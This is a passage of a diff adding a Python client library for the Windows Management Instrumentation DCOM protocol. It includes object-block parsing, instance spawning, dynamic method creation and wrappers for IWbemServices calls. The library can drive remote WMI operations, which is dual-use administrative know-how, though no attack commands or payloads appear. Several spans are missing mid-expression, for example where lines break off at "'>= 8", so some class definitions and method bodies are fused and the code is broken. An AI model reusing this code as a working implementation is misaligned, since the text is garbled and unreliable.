@staticmethod + def __isNonNullNumber(prop): + return prop['type'] & ~Inherited in CIM_NUMBER_TYPES and not prop['null_default'] + + def getValues(self, properties): + heap = self["InstanceHeap"]["HeapItem"] + valueTableOff = self.__processNdTable(properties) + valueTable = self['NdTable_ValueTable'][valueTableOff:] + sorted_props = sorted(list(properties.keys()), key=lambda k: properties[k]['order']) + for key in sorted_props: + pType = properties[key]['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if properties[key]['type'] & CIM_ARRAY_FLAG: + unpackStr = HEAPREF[:-2] + else: + unpackStr = CIM_TYPES_REF[pType][:-2] + dataSize = calcsize(unpackStr) + try: + itemValue = unpack(unpackStr, valueTable[:dataSize])[0] + except: + LOG.error("getValues: Error Unpacking!") + itemValue = 0xffffffff + + # if itemValue == 0, default value remains + if itemValue != 0 or self.__isNonNullNumber(properties[key]): + value = ENCODED_VALUE.getValue( properties[key]['type'], itemValue, heap) + properties[key]['value'] = value + # is the value set valid or should we clear it? ( if not inherited ) + elif properties[key]['inherited'] == 0: + properties[key]['value'] = None + valueTable = valueTable[dataSize:] + return properties + +# 2.2.12 ParentClass +PARENT_CLASS = CLASS_AND_METHODS_PART + +# 2.2.13 CurrentClass +CURRENT_CLASS = CLASS_AND_METHODS_PART + +class CLASS_TYPE(Structure): + structure = ( + ('ParentClass', ':', PARENT_CLASS), + ('CurrentClass', ':', CURRENT_CLASS), + ) + +# 2.2.5 ObjectBlock +class OBJECT_BLOCK(Structure): + commonHdr = ( + ('ObjectFlags', OBJECT_FLAGS), + ) + + decoration = ( + ('Decoration', ':', DECORATION), + ) + + instanceType = ( + ('InstanceType', ':', INSTANCE_TYPE), + ) + + classType = ( + ('ClassType', ':', CLASS_TYPE), + ) + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + self.ctParent = None + self.ctCurrent = None + + if data is not None: + self.structure = () + if ord(data[0:1]) & 0x4: + # WMIO - 2.2.6 - 0x04 If this flag is set, the object has a Decoration block. + self.structure += self.decoration + if ord(data[0:1]) & 0x01: + # The object is a CIM class. + self.structure += self.classType + else: + self.structure += self.instanceType + + self.fromString(data) + else: + self.data = None + + def isInstance(self): + if self['ObjectFlags'] & 0x01: + return False + return True + + def printClass(self, pClass, cInstance = None): + qualifiers = pClass.getQualifiers() + + for qualifier in qualifiers: + print("[%s]" % qualifier) + + className = pClass.getClassName() + + print("class %s \n{" % className) + + properties = pClass.getProperties() + if cInstance is not None: + properties = cInstance.getValues(properties) + + for pName in properties: + #if property['inherited'] == 0: + qualifiers = properties[pName]['qualifiers'] + for qName in qualifiers: + if qName != 'CIMTYPE': + print('\t[%s(%s)]' % (qName, qualifiers[qName])) + print("\t%s %s" % (properties[pName]['stype'], properties[pName]['name']), end=' ') + if properties[pName]['value'] is not None: + if properties[pName]['type'] == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + print('= IWbemClassObject\n') + elif properties[pName]['type'] == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value: + if properties[pName]['value'] == 0: + print('= %s\n' % properties[pName]['value']) + else: + print('= %s\n' % list('IWbemClassObject' for _ in range(len(properties[pName]['value'])))) + else: + print('= %s\n' % properties[pName]['value']) + else: + print('\n') + + print() + methods = pClass.getMethods() + for methodName in methods: + for qualifier in methods[methodName]['qualifiers']: + print('\t[%s]' % qualifier) + + if methods[methodName]['InParams'] is None and methods[methodName]['OutParams'] is None: + print('\t%s %s();\n' % ('void', methodName)) + if methods[methodName]['InParams'] is None and len(methods[methodName]['OutParams']) == 1: + print('\t%s %s();\n' % (methods[methodName]['OutParams']['ReturnValue']['stype'], methodName)) + else: + returnValue = b'' + if methods[methodName]['OutParams'] is not None: + # Search the Return Value + #returnValue = (item for item in method['OutParams'] if item["name"] == "ReturnValue").next() + if 'ReturnValue' in methods[methodName]['OutParams']: + returnValue = methods[methodName]['OutParams']['ReturnValue']['stype'] + + print('\t%s %s(\n' % (returnValue, methodName), end=' ') + if methods[methodName]['InParams'] is not None: + for pName in methods[methodName]['InParams']: + print('\t\t[in] %s %s,' % (methods[methodName]['InParams'][pName]['stype'], pName)) + + if methods[methodName]['OutParams'] is not None: + for pName in methods[methodName]['OutParams']: + if pName != 'ReturnValue': + print('\t\t[out] %s %s,' % (methods[methodName]['OutParams'][pName]['stype'], pName)) + + print('\t);\n') + + print("}") + + def parseClass(self, pClass, cInstance = None): + classDict = OrderedDict() + classDict['name'] = pClass.getClassName() + classDict['qualifiers'] = pClass.getQualifiers() + classDict['properties'] = pClass.getProperties() + classDict['methods'] = pClass.getMethods() + if cInstance is not None: + classDict['values'] = cInstance.getValues(classDict['properties']) + else: + classDict['values'] = None + + return classDict + + def parseObject(self): + if (self['ObjectFlags'] & 0x01) == 0: + # instance + ctCurrent = self['InstanceType']['CurrentClass'] + currentName = ctCurrent.getClassName() + if currentName is not None: + self.ctCurrent = self.parseClass(ctCurrent, self['InstanceType']) + return + else: + ctParent = self['ClassType']['ParentClass'] + ctCurrent = self['ClassType']['CurrentClass'] + + parentName = ctParent.getClassName() + if parentName is not None: + self.ctParent = self.parseClass(ctParent) + + currentName = ctCurrent.getClassName() + if currentName is not None: + self.ctCurrent = self.parseClass(ctCurrent) + + def printInformation(self): + # First off, do we have a class? + if (self['ObjectFlags'] & 0x01) == 0: + # instance + ctCurrent = self['InstanceType']['CurrentClass'] + currentName = ctCurrent.getClassName() + if currentName is not None: + self.printClass(ctCurrent, self['InstanceType']) + return + else: + ctParent = self['ClassType']['ParentClass'] + ctCurrent = self['ClassType']['CurrentClass'] + + parentName = ctParent.getClassName() + if parentName is not None: + self.printClass(ctParent) + + currentName = ctCurrent.getClassName() + if currentName is not None: + self.printClass(ctCurrent) + +# 2.2.70 MethodSignatureBlock +class METHOD_SIGNATURE_BLOCK(Structure): + commonHdr = ( + ('EncodingLength', ENCODING_LENGTH), + ) + tail = ( + ('_ObjectBlock', '_-ObjectBlock', 'self["EncodingLength"]'), + ('ObjectBlock', ':', OBJECT_BLOCK), + ) + def __init__(self, data = None, alignment = 0): + Structure.__init__(self, data, alignment) + if data is not None: + self.fromString(data) + if self['EncodingLength'] > 0: + self.structure = () + self.structure += self.tail + self.fromString(data) + else: + self.data = None + +# 2.2.1 EncodingUnit +class ENCODING_UNIT(Structure): + structure = ( + ('Signature', SIGNATURE), + ('ObjectEncodingLength', OBJECT_ENCODING_LENGTH), + ('_ObjectBlock', '_-ObjectBlock', 'self["ObjectEncodingLength"]'), + ('ObjectBlock', ':', OBJECT_BLOCK), + ) + +################################################################################ +# CONSTANTS +################################################################################ +# 1.9 Standards Assignments +CLSID_WbemLevel1Login = string_to_bin('8BC3F05E-D86B-11D0-A075-00C04FB68820') +CLSID_WbemBackupRestore = string_to_bin('C49E32C6-BC8B-11D2-85D4-00105A1F8304') +CLSID_WbemClassObject = string_to_bin('4590F812-1D3A-11D0-891F-00AA004B2E24') + +IID_IWbemLevel1Login = uuidtup_to_bin(('F309AD18-D86A-11d0-A075-00C04FB68820', '0.0')) +IID_IWbemLoginClientID = uuidtup_to_bin(('d4781cd6-e5d3-44df-ad94-930efe48a887', '0.0')) +IID_IWbemLoginHelper = uuidtup_to_bin(('541679AB-2E5F-11d3-B34E-00104BCC4B4A', '0.0')) +IID_IWbemServices = uuidtup_to_bin(('9556DC99-828C-11CF-A37E-00AA003240C7', '0.0')) +IID_IWbemBackupRestore = uuidtup_to_bin(('C49E32C7-BC8B-11d2-85D4-00105A1F8304', '0.0')) +IID_IWbemBackupRestoreEx = uuidtup_to_bin(('A359DEC5-E813-4834-8A2A-BA7F1D777D76', '0.0')) +IID_IWbemClassObject = uuidtup_to_bin(('DC12A681-737F-11CF-884D-00AA004B2E24', '0.0')) +IID_IWbemContext = uuidtup_to_bin(('44aca674-e8fc-11d0-a07c-00c04fb68820', '0.0')) +IID_IEnumWbemClassObject = uuidtup_to_bin(('027947e1-d731-11ce-a357-000000000001', '0.0')) +IID_IWbemCallResult = uuidtup_to_bin(('44aca675-e8fc-11d0-a07c-00c04fb68820', '0.0')) +IID_IWbemFetchSmartEnum = uuidtup_to_bin(('1C1C45EE-4395-11d2-B60B-00104B703EFD', '0.0')) +IID_IWbemWCOSmartEnum = uuidtup_to_bin(('423EC01E-2E35-11d2-B604-00104B703EFD', '0.0')) + +error_status_t = ULONG + +# lFlags +WBEM_FLAG_RETURN_WBEM_COMPLETE = 0x00000000 +WBEM_FLAG_UPDATE_ONLY = 0x00000001 +WBEM_FLAG_CREATE_ONLY = 0x00000002 +WBEM_FLAG_RETURN_IMMEDIATELY = 0x00000010 +WBEM_FLAG_UPDATE_SAFE_MODE = 0x00000020 +WBEM_FLAG_FORWARD_ONLY = 0x00000020 +WBEM_FLAG_NO_ERROR_OBJECT = 0x00000040 +WBEM_FLAG_UPDATE_FORCE_MODE = 0x00000040 +WBEM_FLAG_SEND_STATUS = 0x00000080 +WBEM_FLAG_ENSURE_LOCATABLE = 0x00000100 +WBEM_FLAG_DIRECT_READ = 0x00000200 +WBEM_MASK_RESERVED_FLAGS = 0x0001F000 +WBEM_FLAG_USE_AMENDED_QUALIFIERS = 0x00020000 +WBEM_FLAG_STRONG_VALIDATION = 0x00100000 +WBEM_FLAG_BACKUP_RESTORE_FORCE_SHUTDOWN = 0x00000001 + +WBEM_INFINITE = 0xffffffff + +################################################################################ +# STRUCTURES +################################################################################ +class UCHAR_ARRAY_CV(NDRUniConformantVaryingArray): + item = 'c' + +class PUCHAR_ARRAY_CV(NDRPOINTER): + referent = ( + ('Data', UCHAR_ARRAY_CV), + ) + +class PMInterfacePointer_ARRAY_CV(NDRUniConformantVaryingArray): + item = PMInterfacePointer + +REFGUID = PGUID + +class ULONG_ARRAY(NDRUniConformantArray): + item = ULONG + +class PULONG_ARRAY(NDRPOINTER): + referent = ( + ('Data', ULONG_ARRAY), + ) + +# 2.2.5 WBEM_CHANGE_FLAG_TYPE Enumeration +class WBEM_CHANGE_FLAG_TYPE(NDRENUM): + # [v1_enum] type + structure = ( + ('Data', '>= 8 + + # Now let's update the structure + objRef = self.get_objRef() + objRef = OBJREF_CUSTOM(objRef) + encodingUnit = ENCODING_UNIT(objRef['pObjectData']) + + currentClass = encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] + encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = b'' + + encodingUnit['ObjectBlock']['InstanceType']['NdTable_ValueTable'] = packedNdTable + valueTable + encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 + encodingUnit['ObjectBlock']['InstanceType']['InstanceHeap']['HeapItem'] = instanceHeap + + encodingUnit['ObjectBlock']['InstanceType']['EncodingLength'] = len(encodingUnit['ObjectBlock']['InstanceType']) + encodingUnit['ObjectBlock']['InstanceType']['CurrentClass'] = currentClass + + encodingUnit['ObjectEncodingLength'] = len(encodingUnit['ObjectBlock']) + + #encodingUnit.dump() + #ENCODING_UNIT(str(encodingUnit)).dump() + + objRef['pObjectData'] = encodingUnit + + return objRef + + def SpawnInstance(self): + # Doing something similar to: + # https://docs.microsoft.com/windows/desktop/api/wbemcli/nf-wbemcli-iwbemclassobject-spawninstance + # + if self.encodingUnit['ObjectBlock'].isInstance() is False: + # We need to convert some things to transform a class into an instance + encodingUnit = ENCODING_UNIT() + + instanceData = OBJECT_BLOCK() + instanceData.structure += OBJECT_BLOCK.decoration + instanceData.structure += OBJECT_BLOCK.instanceType + instanceData['ObjectFlags'] = 6 + instanceData['Decoration'] = self.encodingUnit['ObjectBlock']['Decoration'].getData() + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = b'' + + # Let's create the heap for the parameters + instanceHeap = b'' + valueTable = b'' + parametersClass = ENCODED_STRING() + parametersClass['Character'] = self.getClassName() + instanceHeap += parametersClass.getData() + curHeapPtr = len(instanceHeap) + + ndTable = 0 + properties = self.getProperties() + + # Let's initialize the values + for i, propName in enumerate(properties): + propRecord = properties[propName] + + pType = propRecord['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if propRecord['type'] & CIM_ARRAY_FLAG: + # Not yet ready + #print paramDefinition + #raise + packStr = HEAPREF[:-2] + else: + packStr = CIM_TYPES_REF[pType][:-2] + + if propRecord['type'] & CIM_ARRAY_FLAG: + valueTable += pack(packStr, 0) + elif pType not in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, + CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): + valueTable += pack(packStr, 0) + elif pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + # For now we just pack None and set the inherited_default + # flag, just in case a parent class defines this for us + valueTable += b'\x00'*4 + ndTable |= self.__ndEntry(i, True, True) + else: + strIn = ENCODED_STRING() + strIn['Character'] = '' + valueTable += pack('>= 8 + + instanceType['NdTable_ValueTable'] = packedNdTable + valueTable + + instanceType['InstanceQualifierSet'] = b'\x04\x00\x00\x00\x01' + + instanceType['InstanceHeap'] = HEAP() + instanceType['InstanceHeap']['HeapItem'] = instanceHeap + instanceType['InstanceHeap']['HeapLength'] = len(instanceHeap) | 0x80000000 + instanceType['EncodingLength'] = len(instanceType) + + instanceType['CurrentClass'] = self.encodingUnit['ObjectBlock']['ClassType']['CurrentClass']['ClassPart'] + instanceData['InstanceType'] = instanceType.getData() + + encodingUnit['ObjectBlock'] = instanceData + encodingUnit['ObjectEncodingLength'] = len(instanceData) + + #ENCODING_UNIT(str(encodingUnit)).dump() + + objRefCustomIn = OBJREF_CUSTOM() + objRefCustomIn['iid'] = self._iid + objRefCustomIn['clsid'] = CLSID_WbemClassObject + objRefCustomIn['cbExtension'] = 0 + objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) + objRefCustomIn['pObjectData'] = encodingUnit + + # There's gotta be a better way to do this + # I will reimplement this stuff once I know it works + import copy + newObj = copy.deepcopy(self) + newObj.set_objRef(objRefCustomIn.getData()) + newObj.process_interface(objRefCustomIn.getData()) + newObj.encodingUnit = ENCODING_UNIT(encodingUnit.getData()) + newObj.parseObject() + if newObj.encodingUnit['ObjectBlock'].isInstance() is False: + newObj.createMethods(newObj.getClassName(), newObj.getMethods()) + else: + newObj.createProperties(newObj.getProperties()) + + return newObj + else: + return self + + def createProperties(self, properties): + for property in properties: + # Do we have an object property? + if properties[property]['type'] == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + # Yes.. let's create an Object for it too + objRef = OBJREF_CUSTOM() + objRef['iid'] = self._iid + objRef['clsid'] = CLSID_WbemClassObject + objRef['cbExtension'] = 0 + objRef['ObjectReferenceSize'] = len(properties[property]['value'].getData()) + objRef['pObjectData'] = properties[property]['value'] + value = IWbemClassObject( INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target())) + elif properties[property]['type'] == CIM_TYPE_ENUM.CIM_ARRAY_OBJECT.value: + if isinstance(properties[property]['value'], list): + value = list() + for item in properties[property]['value']: + # Yes.. let's create an Object for it too + objRef = OBJREF_CUSTOM() + objRef['iid'] = self._iid + objRef['clsid'] = CLSID_WbemClassObject + objRef['cbExtension'] = 0 + objRef['ObjectReferenceSize'] = len(item.getData()) + objRef['pObjectData'] = item + wbemClass = IWbemClassObject( + INTERFACE(self.get_cinstance(), objRef.getData(), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target())) + value.append(wbemClass) + else: + value = properties[property]['value'] + else: + value = properties[property]['value'] + setattr(self, property, value) + + def createMethods(self, classOrInstance, methods): + class FunctionPool: + def __init__(self,function): + self.function = function + def __getitem__(self,item): + return partial(self.function,item) + + @FunctionPool + def innerMethod(staticArgs, *args): + classOrInstance = staticArgs[0] + methodDefinition = staticArgs[1] + if methodDefinition['InParams'] is not None: + if len(args) != len(methodDefinition['InParams']): + LOG.error("Function called with %d parameters instead of %d!" % (len(args), len(methodDefinition['InParams']))) + return None + # In Params + encodingUnit = ENCODING_UNIT() + + inParams = OBJECT_BLOCK() + inParams.structure += OBJECT_BLOCK.instanceType + inParams['ObjectFlags'] = 2 + inParams['Decoration'] = b'' + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = b'' + instanceType['InstanceQualifierSet'] = b'\x04\x00\x00\x00\x01' + + # Let's create the heap for the parameters + instanceHeap = b'' + valueTable = b'' + parametersClass = ENCODED_STRING() + parametersClass['Character'] = '__PARAMETERS' + instanceHeap += parametersClass.getData() + curHeapPtr = len(instanceHeap) + + ndTable = 0 + for i in range(len(args)): + paramDefinition = list(methodDefinition['InParams'].values())[i] + inArg = args[i] + + pType = paramDefinition['type'] & (~(CIM_ARRAY_FLAG|Inherited)) + if paramDefinition['type'] & CIM_ARRAY_FLAG: + # Not yet ready + #print paramDefinition + #raise + packStr = HEAPREF[:-2] + else: + packStr = CIM_TYPES_REF[pType][:-2] + + if paramDefinition['type'] & CIM_ARRAY_FLAG: + if inArg is None: + valueTable += pack(packStr, 0) + elif pType in (CIM_TYPE_ENUM.CIM_TYPE_STRING.value, CIM_TYPE_ENUM.CIM_TYPE_DATETIME.value, + CIM_TYPE_ENUM.CIM_TYPE_REFERENCE.value, CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value): + arraySize = pack(HEAPREF[:-2], len(inArg)) + arrayItems = [] + for j in range(len(inArg)): + curVal = inArg[j] + if pType == CIM_TYPE_ENUM.CIM_TYPE_OBJECT.value: + curObject = b'' + marshaledObject = curVal.marshalMe() + curObject += pack('>= 8 + + instanceType['NdTable_ValueTable'] = packedNdTable + valueTable + heapRecord = HEAP() + heapRecord['HeapLength'] = len(instanceHeap) | 0x80000000 + heapRecord['HeapItem'] = instanceHeap + + instanceType['InstanceHeap'] = heapRecord + + instanceType['EncodingLength'] = len(instanceType) + inMethods = methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'] + inMethods['ClassHeader']['EncodingLength'] = len( + methodDefinition['InParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData()) + instanceType['CurrentClass'] = inMethods + + inParams['InstanceType'] = instanceType.getData() + + encodingUnit['ObjectBlock'] = inParams + encodingUnit['ObjectEncodingLength'] = len(inParams) + + objRefCustomIn = OBJREF_CUSTOM() + objRefCustomIn['iid'] = self._iid + objRefCustomIn['clsid'] = CLSID_WbemClassObject + objRefCustomIn['cbExtension'] = 0 + objRefCustomIn['ObjectReferenceSize'] = len(encodingUnit) + objRefCustomIn['pObjectData'] = encodingUnit + else: + objRefCustomIn = NULL + + ### OutParams + encodingUnit = ENCODING_UNIT() + + outParams = OBJECT_BLOCK() + outParams.structure += OBJECT_BLOCK.instanceType + outParams['ObjectFlags'] = 2 + outParams['Decoration'] = b'' + + instanceType = INSTANCE_TYPE() + instanceType['CurrentClass'] = b'' + instanceType['NdTable_ValueTable'] = b'' + instanceType['InstanceQualifierSet'] = b'' + instanceType['InstanceHeap'] = b'' + instanceType['EncodingLength'] = len(instanceType) + instanceType['CurrentClass'] = methodDefinition['OutParamsRaw']['ClassType']['CurrentClass']['ClassPart'].getData() + outParams['InstanceType'] = instanceType.getData() + + + encodingUnit['ObjectBlock'] = outParams + encodingUnit['ObjectEncodingLength'] = len(outParams) + + objRefCustom = OBJREF_CUSTOM() + objRefCustom['iid'] = self._iid + objRefCustom['clsid'] = CLSID_WbemClassObject + objRefCustom['cbExtension'] = 0 + objRefCustom['ObjectReferenceSize'] = len(encodingUnit) + objRefCustom['pObjectData'] = encodingUnit + try: + return self.__iWbemServices.ExecMethod(classOrInstance, methodDefinition['name'], pInParams = objRefCustomIn ) + #return self.__iWbemServices.ExecMethod('Win32_Process.Handle="436"', methodDefinition['name'], + # pInParams=objRefCustomIn).getObject().ctCurrent['properties'] + except Exception as e: + if LOG.level == logging.DEBUG: + import traceback + traceback.print_exc() + LOG.error(str(e)) + + for methodName in methods: + innerMethod.__name__ = methodName + setattr(self,innerMethod.__name__,innerMethod[classOrInstance,methods[methodName]]) + #methods = self.encodingUnit['ObjectBlock'] + + +class IWbemLoginClientID(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLoginClientID + + def SetClientInfo(self, wszClientMachine, lClientProcId = 1234): + request = IWbemLoginClientID_SetClientInfo() + request['wszClientMachine'] = checkNullString(wszClientMachine) + request['lClientProcId'] = lClientProcId + request['lReserved'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp + +class IWbemLoginHelper(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemLoginHelper + + def SetEvent(self, sEventToSet): + request = IWbemLoginHelper_SetEvent() + request['sEventToSet'] = sEventToSet + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + +class IWbemWCOSmartEnum(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemWCOSmartEnum + + def Next(self, proxyGUID, lTimeout, uCount): + request = IWbemWCOSmartEnum_Next() + request['proxyGUID'] = proxyGUID + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemFetchSmartEnum(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemFetchSmartEnum + + def GetSmartEnum(self, lTimeout): + request = IWbemFetchSmartEnum_GetSmartEnum() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemCallResult(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemCallResult + + def GetResultObject(self, lTimeout): + request = IWbemCallResult_GetResultObject() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetResultString(self, lTimeout): + request = IWbemCallResult_GetResultString() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetResultServices(self, lTimeout): + request = IWbemCallResult_GetResultServices() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def GetCallStatus(self, lTimeout): + request = IWbemCallResult_GetCallStatus() + request['lTimeout'] = lTimeout + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['plStatus'] + +class IEnumWbemClassObject(IRemUnknown): + def __init__(self, interface, iWbemServices = None): + IRemUnknown.__init__(self,interface) + self._iid = IID_IEnumWbemClassObject + self.__iWbemServices = iWbemServices + + def Reset(self): + request = IEnumWbemClassObject_Reset() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Next(self, lTimeout, uCount): + request = IEnumWbemClassObject_Next() + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + interfaces = list() + for interface in resp['apObjects']: + interfaces.append(IWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(interface['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target()), self.__iWbemServices)) + + return interfaces + + def NextAsync(self, lTimeout, pSink): + request = IEnumWbemClassObject_NextAsync() + request['lTimeout'] = lTimeout + request['pSink'] = pSink + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Clone(self): + request = IEnumWbemClassObject_Clone() + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def Skip(self, lTimeout, uCount): + request = IEnumWbemClassObject_Skip() + request['lTimeout'] = lTimeout + request['uCount'] = uCount + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + +class IWbemServices(IRemUnknown): + def __init__(self, interface): + IRemUnknown.__init__(self,interface) + self._iid = IID_IWbemServices + + def OpenNamespace(self, strNamespace, lFlags=0, pCtx = NULL): + request = IWbemServices_OpenNamespace() + request['strNamespace']['asData'] = strNamespace + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CancelAsyncCall(self,IWbemObjectSink ): + request = IWbemServices_CancelAsyncCall() + request['IWbemObjectSink'] = IWbemObjectSink + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return resp['ErrorCode'] + + def QueryObjectSink(self): + request = IWbemServices_QueryObjectSink() + request['lFlags'] = 0 + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return INTERFACE(self.get_cinstance(), b''.join(resp['ppResponseHandler']['abData']), self.get_ipidRemUnknown(), + target=self.get_target()) + + def GetObject(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_GetObject() + request['strObjectPath']['asData'] = strObjectPath + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + ppObject = IWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), + oxid=self.get_oxid(), target=self.get_target()), self) + if resp['ppCallResult'] != NULL: + ppcallResult = IWbemCallResult( + INTERFACE(self.get_cinstance(), b''.join(resp['ppObject']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + else: + ppcallResult = NULL + return ppObject, ppcallResult + + def GetObjectAsync(self, strNamespace, lFlags=0, pCtx = NULL): + request = IWbemServices_GetObjectAsync() + request['strObjectPath']['asData'] = checkNullString(strNamespace) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutClass(self, pObject, lFlags=0, pCtx=NULL): + request = IWbemServices_PutClass() + request['pObject'] = pObject + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutClassAsync(self, pObject, lFlags=0, pCtx=NULL): + request = IWbemServices_PutClassAsync() + request['pObject'] = pObject + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteClass(self, strClass, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteClass() + request['strClass']['asData'] = checkNullString(strClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteClassAsync(self, strClass, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteClassAsync() + request['strClass']['asData'] = checkNullString(strClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateClassEnum(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateClassEnum() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateClassEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateClassEnumAsync() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def PutInstance(self, pInst, lFlags=0, pCtx=NULL): + request = IWbemServices_PutInstance() + + if pInst is NULL: + request['pInst'] = pInst + else: + request['pInst']['ulCntData'] = len(pInst) + request['pInst']['abData'] = list(pInst.getData()) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemCallResult( + INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def PutInstanceAsync(self, pInst, lFlags=0, pCtx=NULL): + request = IWbemServices_PutInstanceAsync() + request['pInst'] = pInst + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def DeleteInstance(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteInstance() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + return IWbemCallResult( + INTERFACE(self.get_cinstance(), b''.join(resp['ppCallResult']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def DeleteInstanceAsync(self, strObjectPath, lFlags=0, pCtx=NULL): + request = IWbemServices_DeleteInstanceAsync() + request['strObjectPath']['asData'] = checkNullString(strObjectPath) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + def CreateInstanceEnum(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateInstanceEnum() + request['strSuperClass']['asData'] = strSuperClass + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return IEnumWbemClassObject( + INTERFACE(self.get_cinstance(), b''.join(resp['ppEnum']['abData']), self.get_ipidRemUnknown(), + target=self.get_target())) + + def CreateInstanceEnumAsync(self, strSuperClass, lFlags=0, pCtx=NULL): + request = IWbemServices_CreateInstanceEnumAsync() + request['strSuperClass']['asData'] = checkNullString(strSuperClass) + request['lFlags'] = lFlags + request['pCtx'] = pCtx + resp = self.request(request, iid = self._iid, uuid = self.get_iPid()) + resp.dump() + return resp + + #def ExecQuery(self, strQuery, 